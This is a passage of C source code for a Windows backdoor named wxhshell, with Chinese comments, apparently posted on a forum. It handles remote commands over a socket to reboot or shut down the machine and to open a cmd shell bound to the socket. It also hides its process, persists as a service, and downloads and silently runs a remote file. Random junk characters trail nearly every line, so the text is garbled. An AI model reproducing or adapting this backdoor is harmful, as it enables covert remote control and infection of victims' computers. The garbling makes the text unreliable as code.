4KX\'K  
    switch(cmd[0]) { w{WEYS  
  ,hOi5,|?L  
  // 帮助 N mA6L+  
  case '?': { |{ @BH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z*)kK  
    break; 5S*aZ1t18  
  } 5m yQBKE  
  // 安装 MW2{w<-]7  
  case 'i': { `F$lO2#k  
    if(Install()) kQ`p\}7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Vy*MPS5  
    else m%cwhH_B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FL {$9o\@  
    break; }60/5HNr  
    } 3UX6Y]E3  
  // 卸载 FN/siw(?3  
  case 'r': { CjGQ  
    if(Uninstall())  r4M;]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*X=JFxl  
    else U1W8f|u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :6 qt[(<"  
    break; ] T<#bNK\1  
    } |va^lT  
  // 显示 wxhshell 所在路径 7Bym?  
  case 'p': { 6~-,.{Y  
    char svExeFile[MAX_PATH]; 5.LfN{gE)  
    strcpy(svExeFile,"\n\r"); +1]A$|qyW  
      strcat(svExeFile,ExeFile); f28bBuv1?  
        send(wsh,svExeFile,strlen(svExeFile),0); f~R+Q/Gtz`  
    break; w! PguP  
    } >QdT 7gB  
  // 重启 !;UoZ~  
  case 'b': { nT%ko7~-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q?qH7={,eu  
    if(Boot(REBOOT)) Qb5@e#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "vX\Q rL  
    else { 8+ ]'2{  
    closesocket(wsh); P  Ij  
    ExitThread(0); iS< ^MD  
    }  R;zf x/  
    break; uO)vGzt3^x  
    } 2;K2|G7  
  // 关机 &O5O@3:7]  
  case 'd': { &x\cEI)!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4t-l@zFWb  
    if(Boot(SHUTDOWN)) [V_+/[AA)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\gCdNrD  
    else { V`8\)FFG  
    closesocket(wsh); c#f@v45  
    ExitThread(0); x!6<7s  
    } vY7 @1_"  
    break; X}wo$t  
    } ]_j= { 0%  
  // 获取shell p=m:^9/  
  case 's': { !4T!@"#  
    CmdShell(wsh); B1A:}#  
    closesocket(wsh); lL&U ioo}D  
    ExitThread(0); s!S_Bt):3  
    break; g4y& 6!g  
  } I_ AFHrj  
  // 退出 (*_lLM@Cd  
  case 'x': { LJ K0WWch  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {.?pl]Zl6  
    CloseIt(wsh); dvM%" k  
    break; phQ{<wzwp  
    } s\< @v7A  
  // 离开 kE:{#>[Uz  
  case 'q': { OIIA^QyV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J0imWluhQ  
    closesocket(wsh); tH~>uOZW  
    WSACleanup(); 4bcd=a;  
    exit(1); p1\mjM  
    break; /|lAxAm?  
        } W4bN']?  
  } o7 0] F  
  } * F_KOf9p  
"jLC!h^N  
  // 提示信息 da i+"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yzMGZi`ut  
} @j"6f|d  
  } `(ik2#B`}  
=\ k:]  
  return; [$F*R@,&  
} w IP4Z^  
"%b Gw v  
// shell模块句柄 2m"cK^  
int CmdShell(SOCKET sock) do*aE  
{ D&@Iuo  
STARTUPINFO si; ?bpV dm!  
ZeroMemory(&si,sizeof(si)); ` Z/ MQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e0#t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'tDUPm38  
PROCESS_INFORMATION ProcessInfo; _''un3eCY  
char cmdline[]="cmd"; /\;m/cwrl"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^KnK \  
  return 0; d"n"A?nXh  
} (tX)r4VU  
J7qTE8W=  
// 自身启动模式 pTB7k3g  
int StartFromService(void) 1Vx5tOq  
{ D1 $ER>  
typedef struct ~L>86/hP,N  
{ 0m=57c$O  
  DWORD ExitStatus; n @,.  
  DWORD PebBaseAddress; CxN xb)c &  
  DWORD AffinityMask; 4UUbX  
  DWORD BasePriority; #a2gRg  
  ULONG UniqueProcessId; ($>m]|  
  ULONG InheritedFromUniqueProcessId; ->X>h_k.Y  
}   PROCESS_BASIC_INFORMATION; \*Yr&Lm  
lD, ~%  
PROCNTQSIP NtQueryInformationProcess; "vT$?IoEV  
?D6|~k i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ g|VZN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~@)s)K  
!A1~{G2VL_  
  HANDLE             hProcess; ? |#dGk g  
  PROCESS_BASIC_INFORMATION pbi; *G7cF  
P -nhG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0\vG <  
  if(NULL == hInst ) return 0; QxN1N^a0  
U$<" . q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &r~s3S{pQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QQ_7Q^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2P)O 0j\/  
`uUzBV.FR  
  if (!NtQueryInformationProcess) return 0;  jr_z ?  
)TKn5[<4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {y a .  
  if(!hProcess) return 0; Wy*+8~@A  
dgIH`<U$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9X%: ){  
0?( uqjD:  
  CloseHandle(hProcess); Goc?HR  
w^ OB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ."=%]l 0  
if(hProcess==NULL) return 0; |q 8N$m  
la)^`STh  
HMODULE hMod; AS@(]T#R  
char procName[255]; 2%L`b"9}V  
unsigned long cbNeeded; _ilitwRN3  
UAT\ .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9cUa@;*1  
$A-X3d;'\/  
  CloseHandle(hProcess); tpC^68* F  
V=dOeuYd  
if(strstr(procName,"services")) return 1; // 以服务启动 g2m* Q%  
$+_1F`  
  return 0; // 注册表启动 fK+ 5   
} pjX=:K|  
KYtCN+vsG  
// 主模块 C}pm>(F~  
int StartWxhshell(LPSTR lpCmdLine) <R;wa@a>  
{ _^NaP  
  SOCKET wsl; 6% ofS8 [  
BOOL val=TRUE; _@!vF,Wcf  
  int port=0; &Cv  
  struct sockaddr_in door; |bnYHP$!  
T'vI@i9  
  if(wscfg.ws_autoins) Install(); TH'8^wf  
[A/2 Ms  
port=atoi(lpCmdLine); RJzIzv99m  
kHylg{i{"  
if(port<=0) port=wscfg.ws_port; #IZh}*$  
 \20} /&  
  WSADATA data; 0VSIyG_Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "n` z`{<n  
<<CWN(hQWO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j&_>_*.y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }`Ya;  
  door.sin_family = AF_INET; rU&Y/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P1T {5u!T  
  door.sin_port = htons(port); pR93T+X  
Ao$k[#px  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8K?}!$fz  
closesocket(wsl); ThgJ '  
return 1; G^#>HE|  
} ?z#*eoPr  
;"x+V gS'  
  if(listen(wsl,2) == INVALID_SOCKET) { E V)H>kM  
closesocket(wsl); l^nvwm`f#:  
return 1; mV`R'*1UC  
} H"8B4~*7H  
  Wxhshell(wsl); uJ -$i  
  WSACleanup(); 9N'fU),I  
T+&fUhSy  
return 0; p|2GPrA]aL  
[B+F}Q^;  
} 6>rz=yAM_  
U364'O8_  
// 以NT服务方式启动 *c[w9(fU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R$hIgw+p[  
{ ~M{/cv  
DWORD   status = 0; ; Z7!BU  
  DWORD   specificError = 0xfffffff; r8:"\%"f>  
!zF0 7.(E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5l1R")0`t_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7<!x:G?C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f^B'BioW(  
  serviceStatus.dwWin32ExitCode     = 0; {qi #  
  serviceStatus.dwServiceSpecificExitCode = 0; '(3 QyCD  
  serviceStatus.dwCheckPoint       = 0; P@ew' JL%  
  serviceStatus.dwWaitHint       = 0; 8`urkEI^r  
ub-e!{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FEu"b@v  
  if (hServiceStatusHandle==0) return; SfC* ZM}<  
||QK)$"  
status = GetLastError(); %p )"_q!ge  
  if (status!=NO_ERROR) cMZy~>  
{ 2SC-c `9)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M.t,o\xl  
    serviceStatus.dwCheckPoint       = 0; U|tacO5w`  
    serviceStatus.dwWaitHint       = 0; Od~uYOL/B  
    serviceStatus.dwWin32ExitCode     = status; */aQ+%>jf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7)jN:+4N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tm.60udbo  
    return; u1M8nb  
  } M' z.d  
g^+p7G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LxhS 9  
  serviceStatus.dwCheckPoint       = 0; (KyOo,a  
  serviceStatus.dwWaitHint       = 0; re[5lFQ~Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wrgB =o  
} 2} pZyS  
>9A18xC  
// 处理NT服务事件,比如:启动、停止 C{85#`z`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sED"}F)  
{ (FApkvy  
switch(fdwControl) B._YT   
{ r/'!#7dLG-  
case SERVICE_CONTROL_STOP: ~k"b"+2  
  serviceStatus.dwWin32ExitCode = 0; 0j(U &  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cWx`y><  
  serviceStatus.dwCheckPoint   = 0; y*+8Z&i.:  
  serviceStatus.dwWaitHint     = 0; 81:%Z&?vRl  
  { w=;>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "NLuAB. P  
  } Hq:: F?  
  return; .(q'7Q Z/  
case SERVICE_CONTROL_PAUSE: dV38-IfGkl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "[?DS  
  break; AJEbiP  
case SERVICE_CONTROL_CONTINUE: igA?E56?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dB6 ,pY(  
  break; u'#/vT#l  
case SERVICE_CONTROL_INTERROGATE: !;|#=A9  
  break; F*@2)  
}; E,.PT^au  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uM1$3<  
} #W)m({}  
?g4Rk9<!i  
// 标准应用程序主函数 V/2NIh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '[liZCg  
{ J^jd@E  
?s$d("~  
// 获取操作系统版本 GxD`M2  
OsIsNt=GetOsVer(); #;ObugY,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {f-O~P<Z4  
W%>T{}4  
  // 从命令行安装 mA$y$73=T  
  if(strpbrk(lpCmdLine,"iI")) Install(); }Mt)57rU  
0)d='3S  
  // 下载执行文件 _LwF:19Il  
if(wscfg.ws_downexe) { \;~Nj#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LEPLoF3,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3#t#NW*e  
} f EL 9J{  
d%0Gsga}  
if(!OsIsNt) { q`r| DcN~  
// 如果时win9x,隐藏进程并且设置为注册表启动 v%cCJ SO#  
HideProc(); /A,w{09G  
StartWxhshell(lpCmdLine); . KLEx]f.  
} rN|=cn  
else p =nbsS~":  
  if(StartFromService()) 5Z_C (5)/Y  
  // 以服务方式启动 f4P({V  
  StartServiceCtrlDispatcher(DispatchTable); ^zV_ vB)n  
else C\5G43`  
  // 普通方式启动 QyVAs;  
  StartWxhshell(lpCmdLine); |E?r+]  
E&kv4,  
return 0; Y|r7gy9%  
}
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只看该作者 1 发表于: 2006-10-10
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